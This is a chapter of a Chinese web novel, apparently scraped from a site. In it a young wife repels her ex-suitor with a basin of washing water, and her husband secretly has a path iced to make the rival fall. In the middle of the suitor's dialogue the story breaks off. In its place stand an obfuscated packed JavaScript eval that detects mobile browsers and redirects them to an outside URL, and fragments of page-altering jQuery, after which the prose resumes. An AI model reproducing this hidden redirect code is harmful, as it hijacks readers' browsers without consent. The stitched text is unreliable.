梨娇哪儿知道秦烈心中想法?
她对这个男人的印象就是,自卑,小可怜,爹不疼娘不爱,跟她一样,都很可怜,但是他很爱自己。
并且,梨娇清楚的知道秦烈绝对不会对自己做什么过分的事情。
哪怕他腿伤着,也依然想着为她分担。
梨娇窝在秦烈怀里,感受着他身上传来的温暖,轻哼一声,在心里敲定主意,高低得让他们家出来个大学生。
她肯定是没办法去读书了,学不下去,满心都是搞钱,外加上……弄死李文博那个鳖孙!
梨娇打定主意之后,从秦烈怀里爬出来:“从今天开始,你就好好看书,那些活计我都找大牛来做,等紫云膏赚了钱,给大牛多发一点儿工钱,刚巧大牛最近也没什么事情做。”
自打黑矿塌方之后,一直跟着秦烈干活的大牛自然也没了工作,他们家虽然就他和他娘,但也是两张嘴。
梨娇把那剩下的三个肉包子准备给大牛,叫他跟他娘吃,等会儿做红烧肉的时候,也给他们匀一份过去。
秦烈听到她这话,心里冒出一抹忮忌。
他希望梨娇将所有的目光放在自己身上,但是他又不能暴露:“嗯,可以,到时候我也要多辛苦你了。”
“咱们两个说什么辛苦不辛苦的。”梨娇嘿嘿一笑,瞧着秦烈近在咫尺的唇,莫名咽了口口水。
方才激动时候的靠近,让她有些留恋,但是自己是个女孩子,要矜持。
梨娇的手轻轻按在秦烈唇上,声音放轻:“秦烈,我……”
话音还没落下,就听到外面有动静,梨娇立马回神,小脸爆红:“那个……我们先补个觉吧,好困。”
秦烈不动声色看了一眼后窗户,脸色铁青,那狗东西,竟然敢干扰他们!
但梨娇打了个哈欠,秦烈立马心疼得让她躺下,“好,睡吧。”
梨娇立马用被子蒙住头,心里呜咽,太丢人了,她刚才竟然想让秦烈亲她!
呜呜呜,她怎么能这么不矜持?还好外面有动静打断了。
也不对啊,梨娇顿了一下,他是自己的老公,亲个嘴咋啦?
梨娇准备一逞凶悍,结果困意来势汹汹,就翻个身的功夫,眼睛已经完全闭上。
在秦烈身边的时候,安全感十足,足到她闭眼就睡,这睡眠质量梨娇自己都羡慕。
一觉睡到中午,梨娇爬起来准备做红烧肉。
“今天咱们家出了个大天才,必须得吃顿硬的!”
梨娇一边嘀嘀咕咕,一边走到灶台前开始忙活。
秦烈也要来帮忙,梨娇拗不过,只能给他调整个姿势,让他坐在那里烧火。
五花肉很好处理,焯水,再加入白糖炒出糖色。
红亮的肉块在锅里翻滚,再加上八角桂皮,随着大火收汁,那股浓郁的肉香顺着烟囱就飘了出去。
大家肚子里缺油水,这红烧肉的味道简直就像是一个大棒槌,肆无忌惮地朝着人鼻子上砸。
最遭罪的就是秦家老宅的大宝,上次被猪板油馋哭了,这次又气得摔了碗哇哇大哭。
气得王翠芬在家里指着这边狂骂,说他们肯定是借了高利贷,马上就要被剁掉手指头了,才这么肆无忌惮的吃!
躲在屋后草垛子里的李文博直接被这味道给逼疯了。
他冻了一宿,早上就看着他们吃肉包子,现在又闻着红烧肉。
饥饿和嫉妒让他瞬间面容扭曲,面目全非!
“肯定是娇娇知道我在后面,她这是在给我台阶下呢,以前我就说过我爱吃红烧肉,她这铁定是特意做给我吃的!”
李文博吞着口水,开始自我催眠。
肯定是这样,等下他就能瞧见梨娇端着红烧肉给他吃的了!
李文博压着冲进去的冲动,目光灼灼盯着这破茅草屋。
果不其然,梨娇突然打开门走了出来。
李文博立马冲上去,却瞧见梨娇手里端着的是一盆洗菜水。
“娇娇!”
梨娇被吓了一跳,定睛一看,指尖李文博头发像鸡窝,冻得鼻青脸肿的,还挂着两条清鼻涕,正贪婪地盯着屋里。
那眼神恨不得直接穿过这茅草屋,把里面的红烧肉连汤带锅一起吃了!
“你有病吧?突然冒出来干什么?”梨娇厌恶地后退一步,端紧了手里的盆。
“娇娇,你别装了。”李文博吸溜了一下鼻涕,死皮赖脸的往前凑,“我都闻见味儿了,你在做红烧肉是不是?我就知道你是做给我吃的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346118|199527||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只要你现在让我进去吃一顿,再给我拿五十块钱,我就原谅你之前两次打我的事情……”
说着,他竟然还想伸手去拉梨娇的胳膊。
屋内的炕上,透过窗户那条没糊严实的缝隙,一双阴沉的眼睛正死死盯着这边。
秦烈手里的书都被捏得变了形。
李文博竟然还在纠缠,当着他的面,明知道他在屋里,他竟然还敢觊觎?
只是还没等秦烈发作,屋外的梨娇已经冷笑出声。
“原谅我?你也配?”梨娇冷哼一声,手里那盆冰凉刺骨的洗菜水连带着烂菜叶子,兜头直接泼在李文博身上!
“啊!”李文博惨叫一声,被浇了个透心凉。
这天这么冷,一盆水在他身上瞬间结了硬茬。
“我劝你滚远点儿!再来恶心我,下次泼的就是开水了!”
梨娇骂完,转身进屋,砰的一声关上了门。
李文博被这水泼懵了,冻得牙齿打颤,浑身哆嗦,他指着门骂骂咧咧的,却不敢上前。
只能哆哆嗦嗦往知青点跑。
梨娇进屋,气呼呼把盆一摔。
“怎么了?谁惹你生气了?”秦烈明知故问,脸上挂着温和无害的笑。
“没谁,就一条野狗,跟有病似的。”梨娇晦气地摆摆手,下意识隐藏了李文博的名字。
她把做好的红烧肉端上桌,夹起最大的那一块递到秦烈嘴边:“好啦,我们不提其他人,晦气的要命,来,张嘴,这块肉肥美,专门给你补脑子的。”
秦烈眸底郁色一片,但还是乖顺的吃下肉。
屋外传来动静,两人探头看去,是大牛抱着好多柳枝儿走了过来。
秦烈招招手,“大牛。”
梨娇也高兴的拍拍手,“大牛,你来的刚好,我做了红烧肉,你先来吃。”
趁着梨娇去盛饭拿肉包子的功夫,秦烈叫大牛到自己身边,眼底没有半点温和,只余下令人胆寒的冰冷。
“等会儿吃完饭你去提两桶水,泼在那条道上,多泼点儿。”秦烈指了指后窗户那条李文博刚跑过的小路,眼底阴翳十分明显。
“这天寒地冻的,路滑,有些人可喜欢偷偷摸摸走后门,这一不小心摔了跌了,也能长个记性。”